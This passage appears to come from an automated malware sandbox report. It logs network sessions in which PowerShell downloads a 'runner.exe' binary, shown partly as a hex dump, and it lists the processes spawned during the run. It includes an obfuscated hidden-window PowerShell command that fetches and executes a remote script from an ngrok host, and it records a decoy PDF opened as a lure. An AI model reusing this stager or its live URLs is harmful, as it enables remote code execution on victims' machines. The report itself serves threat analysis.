; base-uri 'self' ; font-src https://* data: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spr [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com/cd/0/get/CgXWcjDOuh_e1TFdA2SzYsOsn-M4V_6jmWrcAiSvLjLRdG8DNkNlOsKpdMwtrmgmMNacZAx4OR09oCYAE2gE-OPK61EIX_QkU0Q_RbGT2QqP4hHqtoCsXJPUh62qDTppIh6lp5VSJVeUDhSvks6HjBSt/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTQ4MDk3MjM3NDAzNjAwODU0NDU1ODQ5MzcyMzMyOTU1ODIwNjc=; Path=/; Expires=Sat, 15 Dec 2029 15:14:35 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=EQLuAS-SHAlJWktecFk2Hhfy; Path=/; Domain=dropbox.com; Expires=Tue, 16 Dec 2025 15:14:35 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=EQLuAS-SHAlJWktecFk2Hhfy; Path=/; Expires=Tue, 16 Dec 2025 15:14:35 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=EpJ32vWgh8; Path=/; Expires=Tue, 16 Dec 2025 15:14:35 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sat, 15 Dec 2029 15:14:35 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 16 Dec 2024 15:14:36 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 5ef60c75bd24460e9ae01a6df47918b8 Connection: close
2024-12-16 15:14:36 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49798	162.125.69.15	443	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:38 UTC	370	OUT	GET /cd/0/get/CgXWcjDOuh_e1TFdA2SzYsOsn-M4V_6jmWrcAiSvLjLRdG8DNkNlOsKpdMwtrmgmMNacZAx4OR09oCYAE2gE-OPK61EIX_QkU0Q_RbGT2QqP4hHqtoCsXJPUh62qDTppIh6lp5VSJVeUDhSvks6HjBSt/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uc26cd856889af6709e05ec15dd7.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-16 15:14:39 UTC	738	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="runner.exe"; filename*=UTF-8''runner.exe Content-Security-Policy: sandbox Etag: 1734162594992198d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 403 X-Webkit-Csp: sandbox Date: Mon, 16 Dec 2024 15:14:39 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 3112960 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: ae1f2f8e60fe4d2897d5940c1b415ac3 Connection: close
2024-12-16 15:14:39 UTC	15646	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 0c bf 74 72 6d d1 27 72 6d d1 27 72 6d d1 27 61 65 b8 27 75 6d d1 27 77 61 de 27 5e 6d d1 27 77 61 8e 27 a7 6d d1 27 77 61 8c 27 70 6d d1 27 26 4e e1 27 73 6d d1 27 f1 65 8e 27 74 6d d1 27 61 65 8c 27 70 6d d1 27 8d 4d d5 27 62 6d d1 27 f1 65 8c 27 60 6d d1 27 88 4e c8 27 7f 6d d1 27 72 6d d0 27 5e 6c d1 27 a8 4e cd 27 71 6d d1 27 a8 4e cc 27 3f 6d d1 27 8e 4d c3 27 73 6d d1 Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$6trm'rm'rm'ae'um'wa'^m'wa'm'wa'pm'&N'sm'e'tm'ae'pm'M'bm'e'`m'N'm'rm'^l'N'qm'N'?m'M'sm
2024-12-16 15:14:39 UTC	16384	IN	Data Raw: 44 24 10 8d 50 01 8a 08 40 84 c9 75 f9 2b c2 40 3d ff 00 00 00 73 19 8d 44 24 10 8d 50 01 8d 64 24 00 8a 08 40 84 c9 75 f9 2b c2 8d 48 01 eb 05 b9 ff 00 00 00 8b 7d 08 8b c1 c1 e9 02 8d 74 24 10 f3 a5 8b c8 83 e1 03 f3 a4 8b 8c 24 14 01 00 00 e8 53 c3 18 00 5f 5e 5b 8b e5 5d c2 04 00 cc cc cc 8b c1 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 81 ec 0c 01 00 00 a1 40 e9 5f 00 53 56 8b d1 57 b9 40 00 00 00 8b f2 8d 7c 24 10 f3 a5 89 84 24 14 01 00 00 8d 44 24 11 8d 8a 01 01 00 00 be 40 00 00 00 8d a4 24 00 00 00 00 8a 51 ff 8a 58 ff 32 da 8a 11 88 58 ff 8a 18 32 da 8a 51 01 88 18 8a 58 01 32 da 8a 51 02 88 58 01 30 50 02 83 c1 04 83 c0 04 4e 75 d3 8d 44 24 10 8d 50 01 8a 08 40 84 c9 75 f9 8b 8c 24 14 01 00 00 2b c2 e8 ae c2 18 00 5f 5e 5b 8b Data Ascii: D$P@u+@=sD$Pd$@u+H}t$$S_^[]U@_SVW@\|$$D$@$QX2X2QX2QX0PNuD$P@u$+_^[
2024-12-16 15:14:39 UTC	738	IN	Data Raw: ff 83 c4 18 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 0c 8b 4c 24 08 8b 54 24 04 6a 00 6a 00 50 51 52 e8 28 f4 ff ff 83 c4 14 c3 cc cc cc cc 8b 44 24 04 8b 10 8b 4c 24 0c 89 11 8b 50 04 89 51 04 8b 4c 24 18 8b 54 24 14 51 8b 4c 24 14 52 8b 54 24 10 51 2b d0 c1 fa 03 52 6a 00 50 e8 2d ff ff ff 83 c4 18 c3 cc cc cc cc cc cc cc cc cc 8b 41 04 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 41 04 c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 49 04 8b 54 24 04 33 c0 3b ca 0f 94 c0 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8a 51 0c 8b 44 24 04 32 d0 88 51 04 8a 51 0d 32 d0 88 51 08 8a 51 0c 32 d4 88 51 05 8a 51 0d 32 d4 88 51 09 8a 51 0c c1 e8 10 32 d0 88 51 06 8a 51 0d 32 d0 8b 44 24 04 88 51 0a 8a 51 0c c1 e8 18 32 d0 88 51 07 8a 51 0d 32 d0 88 51 Data Ascii: _^D$L$T$jjPQR(D$L$PQL$T$QL$RT$Q+RjP-AAIT$3;QD$2QQ2QQ2QQ2QQ2QQ2D$QQ2QQ2Q
2024-12-16 15:14:39 UTC	16384	IN	Data Raw: ec c7 45 fc ff ff ff ff 8b 55 0c 85 d2 76 24 83 7e 18 10 72 05 8b 76 04 eb 03 83 c6 04 8b ca 8b f8 c1 e9 02 f3 a5 8b ca 83 e1 03 f3 a4 8b 75 e8 8b 55 0c 83 7e 18 10 72 12 8b 46 04 50 e8 7c 7c 18 00 83 c4 04 8b 55 0c 8b 45 ec 8d 4e 04 c6 01 00 89 01 89 5e 18 89 56 14 83 fb 10 73 02 8b c1 c6 04 10 00 8b 4d f4 64 89 0d 00 00 00 00 5f 5e 5b 8b e5 5d c2 08 00 8b 75 e8 83 7e 18 10 72 0c 8b 4e 04 51 e8 35 7c 18 00 83 c4 04 c7 46 18 0f 00 00 00 c7 46 14 00 00 00 00 c6 46 04 00 6a 00 6a 00 e8 16 81 18 00 cc cc cc cc cc cc cc cc cc 56 57 8b b9 0c 03 00 00 8b 37 3b f7 74 19 8b ff 8b 4e 08 80 b9 13 01 00 00 01 75 05 8b 01 ff 50 38 8b 36 3b f7 75 e9 5f 33 c0 5e c3 cc cc cc cc 6a ff 68 fe 62 5a 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 81 ec 04 01 00 00 a1 40 e9 5f Data Ascii: EUv$~rvuU~rFP\|\|UEN^VsMd_^[]u~rNQ5\|FFFjjVW7;tNuP86;u_3^jhbZdPd%@_
2024-12-16 15:14:39 UTC	16089	IN	Data Raw: 53 55 56 8b f1 8b 9e 20 03 00 00 33 c0 85 db 57 74 09 6a 01 8b cb e8 25 66 ff ff 8b 7e 20 03 f8 33 c0 85 db 74 09 6a 01 8b cb e8 e1 65 ff ff 8b 4e 1c 03 c8 57 51 8b 4c 24 1c e8 41 b4 01 00 8b 9e 0c 03 00 00 8b 43 04 8d be 08 03 00 00 8d 54 24 14 52 50 53 8b cf e8 94 ba ff ff 6a 01 8b cf 8b e8 e8 39 fa ff ff 89 6b 04 8b 4d 04 89 29 8b 4c 24 14 8b 11 56 ff 52 34 5f 5e 5d 33 c0 5b c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 83 ec 0c 53 55 8b e9 8b 85 0c 03 00 00 8b 18 3b d8 8b 8d 10 03 00 00 89 6c 24 08 89 4c 24 0c 0f 84 ad 00 00 00 56 57 eb 07 8b 6c 24 10 8d 49 00 8b 73 08 6a 10 e8 02 35 18 00 8b 4c 24 18 8b f8 33 d2 89 10 89 50 04 89 50 08 89 50 0c 89 0f 0f b7 96 10 01 00 00 89 57 04 8b 06 83 c4 04 8b ce 89 7c 24 18 ff 50 28 0f b6 c8 89 4f 08 8b 16 Data Ascii: SUV 3Wtj%f~ 3tjeNWQL$ACT$RPSj9kM)L$VR4_^]3[SU;l$L$VWl$Isj5L$3PPPW\|$P(O
2024-12-16 15:14:39 UTC	16384	IN	Data Raw: 50 51 8d 44 24 0c 50 8b ce e8 f9 fe ff ff 8b 4e 04 51 e8 ce fd 17 00 83 c4 04 33 c0 89 46 04 89 46 08 5e 59 c3 cc cc 6a ff 68 18 67 5a 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 51 56 8b f1 89 74 24 04 c7 44 24 10 ff ff ff ff 8b 46 04 8b 08 50 51 8d 44 24 0c 50 8b ce e8 a8 fe ff ff 8b 4e 04 51 e8 7d fd 17 00 8b 4c 24 0c 83 c4 04 33 c0 89 46 04 89 46 08 5e 64 89 0d 00 00 00 00 83 c4 10 c3 cc cc cc cc 6a ff 68 38 67 5a 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 51 89 0c 24 c7 44 24 0c ff ff ff ff e8 7a ff ff ff 8b 4c 24 04 64 89 0d 00 00 00 00 83 c4 10 c3 cc cc cc cc cc cc cc cc cc cc cc 56 8b f1 57 c7 06 24 63 5b 00 ff 15 d4 52 5b 00 89 46 04 b8 01 00 00 00 89 46 1c 89 46 20 68 10 29 8c 00 33 c0 c7 46 18 2a 00 00 00 b9 00 02 00 00 bf 10 29 8c 00 68 ff Data Ascii: PQD$PNQ3FF^YjhgZdPd%QVt$D$FPQD$PNQ}L$3FF^djh8gZdPd%Q$D$zL$dVW$c[R[FFF h)3F*)h
2024-12-16 15:14:39 UTC	16384	IN	Data Raw: 75 e5 5e 5b c3 cc cc 56 8d 81 a0 4a 01 00 57 be 0a 00 00 00 33 c9 90 88 48 fc 89 08 89 48 04 33 d2 8d 78 08 89 17 89 57 04 89 57 08 88 57 0c 89 48 18 89 48 1c 89 48 20 89 48 24 83 c0 2c 4e 75 d6 5f 5e c3 cc cc cc 8d 91 24 50 01 00 33 c0 89 02 89 42 04 89 42 08 88 42 0c 56 88 81 31 50 01 00 8d b1 32 50 01 00 33 d2 89 16 89 56 04 89 56 08 57 88 56 0c 66 89 81 40 50 01 00 8d b9 42 50 01 00 b9 cf 03 00 00 f3 ab 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc 33 c0 8d 91 7e 5f 01 00 89 02 89 42 04 89 42 08 53 56 88 42 0c 66 89 81 8c 5f 01 00 57 8d 81 46 6b 01 00 81 c1 8e 5f 01 00 be c8 00 00 00 bf ff ff 00 00 33 d2 8b d9 89 13 89 53 04 89 53 08 88 53 0c 66 89 b8 70 fe ff ff 66 89 38 66 89 b8 90 01 00 00 83 c0 02 83 c1 0d 4e 75 d7 5f 5e 5b c3 57 8d b9 e8 9f 02 00 b9 Data Ascii: u^[VJW3HH3xWWWHHH H$,Nu_^$P3BBBV1P2P3VVWVf@PBP_^3~_BBSVBf_WFk_3SSSfpf8fNu_^[W
2024-12-16 15:14:39 UTC	295	IN	Data Raw: 24 04 8a 4e 0c 8b 44 24 04 c1 e8 10 32 c8 88 4e 06 8a 56 0d 32 d0 88 56 0a 8a 4e 0c 32 cc 88 4e 07 8a 56 0d 32 d4 88 56 0b 5e 83 c4 08 c2 04 00 cc cc cc cc cc cc cc 6a ff 68 d0 7e 5a 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 08 53 56 8b f1 8d 86 80 00 00 00 57 33 ff 89 74 24 0c 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 89 7c 24 1c c7 00 dc 60 5b 00 8b 0d 00 96 af 00 89 48 08 ff 05 00 96 af 00 c7 44 24 1c 01 00 00 00 8d 86 8c 00 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 02 c7 00 dc 60 5b 00 8b 15 00 96 af 00 89 50 08 ff 05 00 96 af 00 c6 44 24 1c 03 8d 86 98 00 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 04 c7 00 dc 60 5b 00 8b 0d 00 96 af 00 89 48 08 ff 05 00 96 af 00 c6 44 24 1c 05 8d 86 a4 00 00 00 89 44 24 10 c7 00 30 Data Ascii: $ND$2NV2VN2NV2V^jh~ZdPd%SVW3t$D$0_[x\|$`[HD$D$0_[xD$`[PD$D$0_[xD$`[HD$D$0
2024-12-16 15:14:39 UTC	16384	IN	Data Raw: 00 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 08 c7 00 dc 60 5b 00 8b 0d 00 96 af 00 89 48 08 ff 05 00 96 af 00 c6 44 24 1c 09 8d 86 bc 00 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 0a c7 00 dc 60 5b 00 8b 15 00 96 af 00 89 50 08 ff 05 00 96 af 00 c6 44 24 1c 0b 8d 86 e8 00 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 0c c7 00 dc 60 5b 00 8b 0d 00 96 af 00 89 48 08 ff 05 00 96 af 00 c6 44 24 1c 0d 8d 86 f4 00 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 0e c7 00 dc 60 5b 00 8b 15 00 96 af 00 89 50 08 ff 05 00 96 af 00 c6 44 24 1c 0f 33 db e8 45 89 17 00 25 ff 00 00 80 79 07 48 0d 00 ff ff ff 40 88 84 1e 04 02 00 00 43 81 fb 00 01 00 00 7c dd 8d 9b 00 00 00 00 e8 1c 89 17 00 25 ff 00 00 80 79 07 48 0d 00 Data Ascii: D$0_[xD$`[HD$D$0_[xD$`[PD$D$0_[xD$`[HD$D$0_[xD$`[PD$3E%yH@C\|%yH
2024-12-16 15:14:39 UTC	16384	IN	Data Raw: 89 50 08 ff 05 00 96 af 00 c6 44 24 1c 25 8d 86 40 08 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 26 c7 00 dc 60 5b 00 8b 0d 00 96 af 00 89 48 08 ff 05 00 96 af 00 c6 44 24 1c 27 8d 86 4c 08 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 28 c7 00 dc 60 5b 00 8b 15 00 96 af 00 89 50 08 ff 05 00 96 af 00 c6 44 24 1c 29 8d 86 58 08 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 2a c7 00 dc 60 5b 00 8b 0d 00 96 af 00 89 48 08 ff 05 00 96 af 00 c6 44 24 1c 2b 8d 8e 64 08 00 00 e8 d1 fa ff ff c6 44 24 1c 2c 8d 86 a4 0b 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 2d c7 00 dc 60 5b 00 8b 15 00 96 af 00 89 50 08 ff 05 00 96 af 00 c6 44 24 1c 2e 8d 86 b0 0b 00 00 89 44 24 10 c7 00 30 5f 5b 00 89 78 04 c6 44 24 1c 2f c7 Data Ascii: PD$%@D$0_[xD$&`[HD$'LD$0_[xD$(`[PD$)XD$0_[xD$*`[HD$+dD$,D$0_[xD$-`[PD$.D$0_[xD$/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49803	3.6.122.107	443	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:46 UTC	228	OUT	GET /metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app Connection: Keep-Alive
2024-12-16 15:14:48 UTC	213	IN	HTTP/1.1 404 Not Found Access-Control-Allow-Origin: * Content-Length: 207 Content-Type: text/html; charset=utf-8 Date: Mon, 16 Dec 2024 15:14:47 GMT Server: Werkzeug/3.0.3 Python/3.12.8 Connection: close
2024-12-16 15:14:48 UTC	207	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Target ID:	0
Start time:	10:14:03
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Imagebase:	0x7ff64b9e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:14:03
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:14:03
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing)
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:14:18
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:14:19
Start date:	16/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:14:19
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,14265310462796449585,17629014062588500733,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:14:19
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	10:14:20
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	10:14:23
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:14:23
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:14:24
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Imagebase:	0x7ff7a5430000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:14:24
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Imagebase:	0x7ff7a5430000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:14:24
Start date:	16/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\280339642.bat" "
Imagebase:	0x7ff64b9e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:14:24
Start date:	16/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:14:25
Start date:	16/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
